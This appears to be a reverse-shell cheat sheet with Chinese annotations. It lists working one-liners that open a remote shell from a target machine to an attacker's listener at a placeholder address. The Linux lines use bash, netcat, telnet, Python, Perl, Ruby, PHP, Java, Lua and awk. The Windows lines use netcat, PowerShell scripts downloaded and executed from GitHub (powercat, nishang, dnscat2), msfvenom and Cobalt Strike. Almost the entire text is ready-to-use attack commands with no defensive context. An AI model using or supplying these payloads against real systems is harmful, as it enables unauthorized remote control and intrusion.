Linux
bash
nc -lvvp 9999 #攻击者主机上执行监听
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1 #目标主机上执行
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
talent
nc -lvvp 4444 #攻击者主机上执行监听
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目标主机上执行
攻击机上打开两个netcat监听
nc -lvvp 4444
nc -lvvp 5555
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555 #目标主机中执行
netcat
nc -lvvp 4444
nc -e /bin/bash x.x.x.x 4444 #目标机器中的netcat存在-e参数
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f #目标机器中不存在-e参数
python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl
perl -e 'use Socket;$i="x.x.x.x";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
php
php -r '$sock=fsockopen("x.x.x.x",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
java
public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor();}}
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
awk
awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
windows
netcat
nc -lvvp 9999 #攻击者主机上执行监听
nc x.x.x.x 4444 -e c:\windows\system32\cmd.exe #目标主机上执行
powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c x.x.x.x -p 4444 -e cmd #一键执行
Import-Module ./powercat.ps1
powercat -c x.x.x.x -p 4444 -e cmd #将脚本下载到目标机器上执行
metasploit
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=x.x.x.x LPORT=4444
cs
1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload
nishang
TCP:powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -port 4444
UDP:powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress x.x.x.x -port 4444
dnacat
服务端:ruby dnscat2.rb --dns "domain=lltest.com,host=x.x.x.x" --no-cache -e open -e open
目标主机:powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer x.x.x.x